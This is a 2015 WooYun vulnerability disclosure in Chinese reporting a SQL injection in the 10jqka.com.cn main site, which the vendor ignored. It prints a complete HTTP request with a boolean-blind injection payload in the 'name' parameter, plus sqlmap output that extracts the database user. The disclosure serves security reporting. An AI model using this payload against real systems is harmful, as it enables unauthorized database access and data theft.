当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0116323

漏洞标题:同花顺主站注入root权限

相关厂商:同花顺

漏洞作者: 路人甲

提交时间:2015-05-27 15:37

修复时间:2015-06-01 15:38

公开时间:2015-06-01 15:38

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-05-27: 细节已通知厂商并且等待厂商处理中
2015-06-01: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

看别人都上主页了,我也来一个吧

详细说明:

<codeGET /modules.php?file=logout&name=trade'/**/AND/**/'000VD36'%3d'000VD36&placeholder=1 HTTP/1.1
X-Requested-With: XMLHttpRequest
Referer: http://www.10jqka.com.cn:80/
Cookie: PHPSESSID=gr5j5q7djvr51d8p61iosk2fj0
Host: www.10jqka.com.cn
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36
Accept: */*
></code>

[root@Hacker~]# Sqlmap -r c:\a.txt --current-user
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 17:05:05
[17:05:05] [INFO] parsing HTTP request from 'c:\a.txt'
custom injection marking character ('*') found in option '-u'. Do you want to pr
ocess it? [Y/n/q] n
[17:05:07] [INFO] resuming back-end DBMS 'mysql'
[17:05:07] [INFO] testing connection to the target URL
[17:05:07] [INFO] heuristics detected web page charset 'GB2312'
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: name
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: file=logout&name=trade'/**/AND/**/'000VD36'='000VD36' AND 6509=6509
AND 'YBcd'='YBcd&placeholder=1
---
[17:05:07] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL 5
[17:05:07] [INFO] fetching current user
[17:05:07] [INFO] resumed: [email protected]
current user: '[email protected]'
[17:05:08] [INFO] fetched data logged to text files under 'C:\Users\1\Desktop\SQ
LMAP~1.4\SQLMAP~1.4\Bin\output\www.10jqka.com.cn'
[*] shutting down at 17:05:08
[root@Hacker~]# Sqlmap

漏洞证明:

<codeGET /modules.php?file=logout&name=trade'/**/AND/**/'000VD36'%3d'000VD36&placeholder=1 HTTP/1.1
X-Requested-With: XMLHttpRequest
Referer: http://www.10jqka.com.cn:80/
Cookie: PHPSESSID=gr5j5q7djvr51d8p61iosk2fj0
Host: www.10jqka.com.cn
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36
Accept: */*
></code>

[root@Hacker~]# Sqlmap -r c:\a.txt --current-user
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 17:05:05
[17:05:05] [INFO] parsing HTTP request from 'c:\a.txt'
custom injection marking character ('*') found in option '-u'. Do you want to pr
ocess it? [Y/n/q] n
[17:05:07] [INFO] resuming back-end DBMS 'mysql'
[17:05:07] [INFO] testing connection to the target URL
[17:05:07] [INFO] heuristics detected web page charset 'GB2312'
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: name
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: file=logout&name=trade'/**/AND/**/'000VD36'='000VD36' AND 6509=6509
AND 'YBcd'='YBcd&placeholder=1
---
[17:05:07] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL 5
[17:05:07] [INFO] fetching current user
[17:05:07] [INFO] resumed: [email protected]
current user: '[email protected]'
[17:05:08] [INFO] fetched data logged to text files under 'C:\Users\1\Desktop\SQ
LMAP~1.4\SQLMAP~1.4\Bin\output\www.10jqka.com.cn'
[*] shutting down at 17:05:08
[root@Hacker~]# Sqlmap

修复方案:

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-06-01 15:38

厂商回复:

漏洞Rank:15 (WooYun评价)

最新状态:

暂无